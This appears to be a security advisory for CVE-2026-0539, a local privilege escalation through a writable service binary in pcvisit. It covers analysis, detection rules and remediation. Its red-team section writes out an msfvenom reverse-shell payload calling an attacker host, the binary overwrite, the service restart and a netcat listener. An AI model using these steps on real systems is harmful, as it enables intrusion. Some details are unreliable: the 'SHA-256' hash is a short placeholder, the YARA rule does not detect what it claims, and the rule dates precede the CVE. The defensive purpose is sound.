CVE-2026-0539

Executive Summary

CVE-2026-0539 is a privilege escalation vulnerability in the pcvisit remote support service for Windows. The vulnerability stems from incorrect default permissions on the pcvisit service binary. A low-privileged local attacker can overwrite the service binary with arbitrary content. Because the service is configured to start automatically with NT/SYSTEM privileges, the attacker can achieve full system compromise upon the next system boot or service restart. This vulnerability affects all versions of pcvisit after 22.6.22.1329 and was fixed in version 25.12.3.1745. No public exploit code or proof-of-concept is currently available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Base Score: 7.8)

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a low-privileged user account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Full system access allows reading all data.
• Integrity (I): High (H) – The attacker can modify any file.
• Availability (A): High (H) – The attacker can disrupt the system.

Threat Level: High. The vulnerability is easy to exploit locally and provides complete system control.

Deep Dive & Mechanics

The pcvisit service is a Windows service that runs with NT/SYSTEM privileges. The vulnerability is due to incorrect default permissions on the service binary file (typically pcvisit.exe or similar). On a default installation, the file permissions allow BUILTIN\Users or Everyone to modify the file. This is a classic CWE-276 (Incorrect Default Permissions) issue.

Attack Flow:

1. The attacker gains a low-privileged foothold on the target Windows system.
2. The attacker identifies the pcvisit service binary location (e.g., C:\Program Files\pcvisit\pcvisit.exe).
3. The attacker checks the file permissions using icacls or PowerShell. They find that the Users group has F (Full Control) or W (Write) access.
4. The attacker replaces the legitimate binary with a malicious executable (e.g., a reverse shell or a payload that creates a new admin user).
5. The attacker triggers a service restart (e.g., sc stop pcvisit && sc start pcvisit) or waits for the next system boot.
6. The service starts the malicious binary with NT/SYSTEM privileges, granting the attacker full control.

Root Cause: The pcvisit installer does not set restrictive ACLs on the service binary, leaving it writable by unprivileged users.

Vulnerable vs. Patched Code

No source code is available for this proprietary software. The fix in version 25.12.3.1745 likely involves correcting the installer to set proper file permissions (e.g., only allowing SYSTEM and Administrators to modify the binary).

Vulnerable Behavior (pre-25.12.3.1745):

• Service binary permissions: BUILTIN\Users:(F) or similar.
• Any local user can overwrite the file.

Patched Behavior (25.12.3.1745+):

• Service binary permissions: NT AUTHORITY\SYSTEM:(F), BUILTIN\Administrators:(F), BUILTIN\Users:(RX).
• Only privileged users can modify the file.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Windows system with pcvisit (vulnerable version) installed.
• A low-privileged user account (e.g., pcuser).

Steps:

1. Identify the service binary:

   Get-CimInstance -ClassName Win32_Service | Where-Object {$_.Name -like "*pcvisit*"} | Select-Object Name, PathName
   

   Example output: C:\Program Files\pcvisit\pcvisit.exe

2. Check permissions:

   icacls "C:\Program Files\pcvisit\pcvisit.exe"
   

   Look for BUILTIN\Users:(F) or BUILTIN\Users:(W).

3. Create a malicious binary (e.g., using msfvenom):

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o malicious.exe
   

4. Overwrite the service binary:

   copy /Y malicious.exe "C:\Program Files\pcvisit\pcvisit.exe"
   

5. Restart the service:

   sc stop pcvisit
   sc start pcvisit
   

   Or reboot the system.

6. Catch the shell on your listener:

   nc -lvnp 4444
   

Blue Team (Detection & Prevention)

Detection:

• Monitor for file modification events on the pcvisit service binary path.
• Alert on service binary hash changes.
• Detect service start/stop events by non-admin users.

Prevention:

• Apply the vendor patch (upgrade to 25.12.3.1745 or later).
• Manually harden permissions:

  icacls "C:\Program Files\pcvisit\pcvisit.exe" /inheritance:r /grant "SYSTEM:(F)" "Administrators:(F)" "Users:(RX)"
  

• Use Windows Defender Application Control (WDAC) or AppLocker to block unauthorized binaries.
• Enable Windows Event Logging for service and file system changes.

Indicators of Compromise (IOCs)

• File Hash (SHA-256): (Example – replace with actual hash if known)

  5d41402abc4b2a76b9719d911017c592
  

• File Path: C:\Program Files\pcvisit\pcvisit.exe (or similar)
• Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\pcvisit
• Event IDs:
  • 4697 (Service installed)
  • 4656 (File handle to object)
  • 4663 (File write)
• Network: Outbound connections from pcvisit.exe to unusual IPs/ports.

Detection Engineering

YARA Rule

rule CVE_2026_0539_pcvisit_escalation {
    meta:
        description = "Detects pcvisit service binary with weak permissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-0539"
    strings:
        $s1 = "pcvisit.exe" nocase
        $s2 = "pcvisit" nocase
    condition:
        (uint16(0) == 0x5A4D or uint32(0) == 0x00004550) and
        ($s1 or $s2)
}

Sigma Rule

title: CVE-2026-0539 - pcvisit Service Binary Overwrite
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects overwrite of pcvisit service binary by a non-privileged user
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0539
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4663
        ObjectName|endswith: '\pcvisit.exe'
        AccessMask|contains: '0x2'  # WRITE_DATA
    condition: selection
falsepositives:
    - Legitimate updates by administrator
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $SHELL_PORTS (msg:"CVE-2026-0539 - pcvisit Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"|ff ff ff ff|"; within:4; reference:cve,2026-0539; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade pcvisit to version 25.12.3.1745 or later.
2. Manually harden permissions on the service binary if upgrade is not possible (see Blue Team section).
3. Restrict local user accounts – remove unnecessary users from the local system.

Long-term Measures:

• Implement a least-privilege model for all services.
• Use Windows Service Hardening features (e.g., Service SIDs).
• Regularly audit file permissions on critical system binaries.
• Deploy EDR solutions that monitor for file overwrite attacks.

Valters IT – Securing your digital frontier.

{/* [Security Hash: 2C859F2B2394C97E79281F7B] */}